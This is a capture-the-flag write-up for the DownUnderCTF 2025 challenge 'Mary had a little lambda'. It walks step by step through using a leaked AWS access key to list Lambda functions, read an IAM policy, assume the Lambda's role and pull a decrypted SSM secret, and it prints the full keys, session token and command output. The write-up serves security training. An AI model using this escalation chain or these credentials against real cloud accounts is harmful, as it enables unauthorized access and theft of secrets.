back to blog

DownUnderCTF 2025 — Mary had a little lambda (154 pts)

Description

Dear CSI,

The Ministry of Australian Research into Yaks (MARY) is the leading authority of yak related research in Australia. They know a lot about long-haired domesticated cattle, but unfortunately not a lot about information security.

They have been migrating their yak catalog application to a serverless, lambda based, architecture in AWS, but in the process have accidentally exposed an access key used by their admins. You’ve gotten a hold of this key, now use this access to uncover MARY’s secrets!

Regards,
gyrospectre

Attachments

Solution

We were given an access key to AWS

jedi@aqua: /mnt/d/CTF/ductf/misc
$ cat access_key.txt                                                                                         [21:06:38]
[devopsadmin]
aws_access_key_id=AKIAXC42U7VJ2XOBQKGI
aws_secret_access_key=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
region=us-east-1

From the title, we can assume that there is a correlation with AWS Lambda, a serverless compute service that allows users to run code without managing servers

First, we need to make a new profile using the credentials that we get earlier

jedi@aqua: /mnt/d/CTF/ductf
$ aws configure --profile ductf                                                                              [21:51:48]
AWS Access Key ID [None]: AKIAXC42U7VJ2XOBQKGI
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: json

Next, we need to check the account identity

jedi@aqua: /mnt/d/CTF/ductf
$ aws sts get-caller-identity --profile ductf  
{
    "UserId": "AIDAXC42U7VJSYNSAD4EV",
    "Account": "487266254163",
    "Arn": "arn:aws:iam::487266254163:user/devopsadmin"
}

We then list al the Lambda functions

jedi@aqua: /mnt/d/CTF/ductf
$ aws lambda list-functions --profile ductf
{
    "Functions": [
        {
            "FunctionName": "yakbase",
            "FunctionArn": "arn:aws:lambda:us-east-1:487266254163:function:yakbase",
            "Runtime": "python3.13",
            "Role": "arn:aws:iam::487266254163:role/lambda_role",
            "Handler": "yakbase.lambda_handler",
            "CodeSize": 623,
            "Description": "",
            "Timeout": 30,
            "MemorySize": 128,
            "LastModified": "2025-07-14T12:42:45.148+0000",
            "CodeSha256": "TJjcu+uixucgk+66VOvlNYdT4ifRe6bgdAQxWujMwVM=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "6e45ccea-697d-4cd8-b606-67577b601b0b",
            "Layers": [
                {
                    "Arn": "arn:aws:lambda:us-east-1:487266254163:layer:main-layer:1",
                    "CodeSize": 689581
                }
            ],
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/yakbase"
            }
        }
    ]
}

We see that there is a function called yakbase. We need to see more of the function

jedi@aqua: /mnt/d/CTF/ductf
$ aws lambda get-function --function-name yakbase --profile ductf
{
    "Configuration": {
        "FunctionName": "yakbase",
        "FunctionArn": "arn:aws:lambda:us-east-1:487266254163:function:yakbase",
        "Runtime": "python3.13",
        "Role": "arn:aws:iam::487266254163:role/lambda_role",
        "Handler": "yakbase.lambda_handler",
        "CodeSize": 623,
        "Description": "",
        "Timeout": 30,
        "MemorySize": 128,
        "LastModified": "2025-07-14T12:42:45.148+0000",
        "CodeSha256": "TJjcu+uixucgk+66VOvlNYdT4ifRe6bgdAQxWujMwVM=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "6e45ccea-697d-4cd8-b606-67577b601b0b",
        "Layers": [
            {
                "Arn": "arn:aws:lambda:us-east-1:487266254163:layer:main-layer:1",
                "CodeSize": 689581
            }
        ],
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:83a0b29e480e14176225231a6e561282aa7732a24063ebab771b15e4c1a2c71c"
        },
        "LoggingConfig": {
            "LogFormat": "Text",
            "LogGroup": "/aws/lambda/yakbase"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/487266254163/yakbase-f70d7c3a-5267-425f-8ed2-4c7a9497db04?versionId=AWtrEWcqRUhNouC7YHffyafILNKu2lrj&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEL7%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIFYuHUbnIFKHy4HYlozw5BPDjirzun%2BItW%2FYPMbS52ixAiEAprAndNgyDoPtGOCI8jtsfSprPsw58LgdPyOmGn86FNcqkgII1%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw3NDk2Nzg5MDI4MzkiDHXrnxyOiaw%2BFVoaYyrmAXCL%2F3fOKKjhqvPPQBGwXpKQVy8CuD5DPvtUF6AjP%2FVgZzRCxlg2zOSnMHhqshRouiAjrSRJ1wpnFRQwZzk4MO6nk3adRXjIAIRuYrP15tvcg8m1plS8BSTwzrr%2Fg%2FyznlC3vaFknfj1H0l3DUs7zVvG3sjJcxK%2F8X%2F8K1p5tkdNYD%2FWoGp7ESKjMD4pof%2BQYhEBIRjHSF%2Fs11e32j3rfszgkZPM4F9B%2F5Sd8Mk4%2FIrPsbJ7K0X4Mt7nnFo%2B6eZNLAVr1s7szvr0t0ubmQjbT7CYKpEqVmEMJ60scP90b%2BfqN2j9HOYrMLKK%2BcMGOo8BvG3B8ipA0025KE4k0W%2Bl9rPy4ZLcUF%2FrWfpkFk4ULUfdYRAG%2BP4l5UHPTYqGN%2BjBX0eq6MJm10LhWf%2BOLSz%2BZRqvVar9EvcEv1BebICnii8TayrxEkSNIGBKhyT2qflp2l83X8sgxlK1edN3uYOV7EV3lhG9eu%2FD6Kmo2d2NNRXOCRz5N4nlROfXTUNbtmM%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20250721T145611Z&X-Amz-SignedHeaders=host&X-Amz-Expires=599&X-Amz-Credential=ASIA25DCYHY3QNTMAM7U%2F20250721%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=295b64b356d2ad8c0733c6dc707003e1438779a2da9f82818efee95008451eee"
    },
    "Tags": {
        "Challenge": "Mary had a little lambda"
    }
}

We see that there is an S3 repository. We can try to access it and see what’s inside it

We find out that there is a python code named yakbase.py

jedi@aqua: /mnt/d/CTF/ductf
$ cat yakbase.py                                                                                                          [21:57:24]
import os
import json
import logging
import boto3
import mysql.connector

logger = logging.getLogger()
logger.setLevel(logging.INFO)

def lambda_handler(event, context):
    session = boto3.Session()
    ssm = session.client('ssm')

    dbpass = ssm.get_parameter(Name="/production/database/password", WithDecryption=True)['Parameter']['Value']

    mydb = mysql.connector.connect(
       host="10.10.1.1",
       user="dbuser",
       password=dbpass,
       database="BovineDb"
    )
    cursor = mydb.cursor()
    cursor.execute("SELECT * FROM bovines")

    results = cursor.fetchall()

    # For testing without the DB!
    #results = [(1, 'Yak', 'Hairy', False),(2, 'Bison', 'Large', True)]

    numresults = len(results)
    response = f"Database contains {numresults} bovines."

    logger.info(response)

    return {
        'statusCode' : 200,
        'body': response
    }

We see several things from the yakbase Lambda Function

We try to check the parameter

jedi@aqua: /mnt/d/CTF/ductf
$ aws ssm get-parameter --name "/production/database/password" --with-decryption --profile ductf                      

An error occurred (AccessDeniedException) when calling the GetParameter operation: User: arn:aws:iam::487266254163:user/devopsadmin is not authorized to perform: ssm:GetParameter on resource: arn:aws:ssm:us-east-1:487266254163:parameter/production/database/password because no identity-based policy allows the ssm:GetParameter action
FAIL

We find out that devopsadmin user doesn’t have direct SSM permissions,

jedi@aqua: /mnt/d/CTF/ductf
$ aws iam list-user-policies --user-name devopsadmin --profile ductf
{
    "PolicyNames": [
        "restricted"
    ]
}

We also see that the PolicyNames for user devopsadmin is restricted

We need to check the inline IAM policy attached to the IAM user devopsadmin

aws iam get-user-policy \
  --user-name devopsadmin \
  --policy-name restricted \
  --profile devopsadmin

    "UserName": "devopsadmin",
    "PolicyName": "restricted",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:ListUserPolicies",
                    "iam:GetUserPolicy"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:iam::487266254163:user/devopsadmin"
            },
            {
                "Action": "lambda:ListFunctions",
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "lambda:GetFunction",
                "Effect": "Allow",
                "Resource": "arn:aws:lambda:us-east-1:487266254163:function:yakbase"
            },
            {
                "Action": "iam:GetRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::487266254163:role/lambda_role"
            }
        ]
    }
}

We can see from the result above that the IAM policy allows devopsadmin to:

Since the Lambda function uses an IAM role, we attempt to assume that role using the following command :

jedi@aqua: /mnt/d/CTF/ductf
$ aws sts assume-role --role-arn "arn:aws:iam::487266254163:role/lambda_role" --role-session-name "ctf-session" --profile ductf
{
    "Credentials": {
        "AccessKeyId": "ASIAXC42U7VJ5ZHR5YTI",
        "SecretAccessKey": "UzVU9H7NieniYQ0zdwhKqm2rTocLbu/YDwRzzROF",
        "SessionToken": "IQoJb3JpZ2luX2VjEMD//////////wEaCXVzLWVhc3QtMSJHMEUCIAv6h7MZHKmEoJtRkrwjhqUEHQKiz/R0zNw1zj9zOkcaAiEA7lmI0b++Q3b3vMAtU1/j8kHouVRL0yqI85Rgef02hpcqoQII2f//////////ARAAGgw0ODcyNjYyNTQxNjMiDIg3cKapklmz953Xuir1AaORsTgu9ZhG4EQwsGYfh6um/3EEHbmPbbatWP6tvNus8c65+r8lvmFS0M0IYwU7rJ6tYGEwteyVPVFRp5NbLijIe7IBNXHYTX7IjpCCfjXyIFFjqu++ji2a9ey17caCDG//u35rIy9K+KWcD3deL1aIwEX5/216Eu5/zJyXVFjpPhdxZA1bPz3RIfYPCBOjSjgt6vzHoTCybOUkBfrRQdtMQBWdwMFvqCUe6RfJVRCgx+fQ+u8s77gpvxRQT6YN9DH+9X42enpriG8Z5hN3xX3sUxpX9YnN4ajIlXzzm6jveXsdoWgcaOiVdwFO7MU7mTWqa9FBMJHG+cMGOp0BfOrmNWQgIUqlyEzn2fMUm1ly0A9NB1k1rxBpDkgLnhV1r+/yAMnU2WGjlOw5QIyBw7ARPCkkvpf15GAHdZhraLbQ1VXYoh4JWA0L5OnleSnIUHLX2WLzRaLaRTT+grw3pTA6GWXkBWywoiux+xwsoTgf9LEofw+uHE7AJv9I35LbVdxQZDq4x2qkzKsPU9GID7EzwaPKis8KZIo9xw==",
        "Expiration": "2025-07-21T16:56:01+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAXC42U7VJRLSSOYQRI:ctf-session",
        "Arn": "arn:aws:sts::487266254163:assumed-role/lambda_role/ctf-session"
    }
}

We can use the credentials that we get to assume the role by exporting them as environment variables

export AWS_ACCESS_KEY_ID="ASIAXC42U7VJ5ZHR5YTI"
export AWS_SECRET_ACCESS_KEY="UzVU9H7NieniYQ0zdwhKqm2rTocLbu/YDwRzzROF"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEMD//////////wEaCXVzLWVhc3QtMSJHMEUCIAv6h7MZHKmEoJtRkrwjhqUEHQKiz/R0zNw1zj9zOkcaAiEA7lmI0b++Q3b3vMAtU1/j8kHouVRL0yqI85Rgef02hpcqoQII2f//////////ARAAGgw0ODcyNjYyNTQxNjMiDIg3cKapklmz953Xuir1AaORsTgu9ZhG4EQwsGYfh6um/3EEHbmPbbatWP6tvNus8c65+r8lvmFS0M0IYwU7rJ6tYGEwteyVPVFRp5NbLijIe7IBNXHYTX7IjpCCfjXyIFFjqu++ji2a9ey17caCDG//u35rIy9K+KWcD3deL1aIwEX5/216Eu5/zJyXVFjpPhdxZA1bPz3RIfYPCBOjSjgt6vzHoTCybOUkBfrRQdtMQBWdwMFvqCUe6RfJVRCgx+fQ+u8s77gpvxRQT6YN9DH+9X42enpriG8Z5hN3xX3sUxpX9YnN4ajIlXzzm6jveXsdoWgcaOiVdwFO7MU7mTWqa9FBMJHG+cMGOp0BfOrmNWQgIUqlyEzn2fMUm1ly0A9NB1k1rxBpDkgLnhV1r+/yAMnU2WGjlOw5QIyBw7ARPCkkvpf15GAHdZhraLbQ1VXYoh4JWA0L5OnleSnIUHLX2WLzRaLaRTT+grw3pTA6GWXkBWywoiux+xwsoTgf9LEofw+uHE7AJv9I35LbVdxQZDq4x2qkzKsPU9GID7EzwaPKis8KZIo9xw=="
export AWS_DEFAULT_REGION="us-east-1"

We then test the new credentials by running the following command :

jedi@aqua: /mnt/d/CTF/ductf
$ aws sts get-caller-identity
{
    "UserId": "AROAXC42U7VJRLSSOYQRI:ctf-session",
    "Account": "487266254163",
    "Arn": "arn:aws:sts::487266254163:assumed-role/lambda_role/ctf-session"
}

Since the assumed lambda_role might be used by the Lambda function to access certain AWS resources, we attempt to leverage it to read sensitive parameters. With the new credentials in place, we now try to access the SSM parameter store, and successfully retrieve the flag

jedi@aqua: /mnt/d/CTF/ductf
$ aws ssm get-parameter --name "/production/database/password" --with-decryption
{
    "Parameter": {
        "Name": "/production/database/password",
        "Type": "SecureString",
        "Value": "DUCTF{.*#--BosMutusOfTheTibetanPlateau--#*.}",
        "Version": 1,
        "LastModifiedDate": "2025-07-14T19:42:32.390000+07:00",
        "ARN": "arn:aws:ssm:us-east-1:487266254163:parameter/production/database/password",
        "DataType": "text"
    }
}

Flag

DUCTF{.*#--BosMutusOfTheTibetanPlateau--#*.}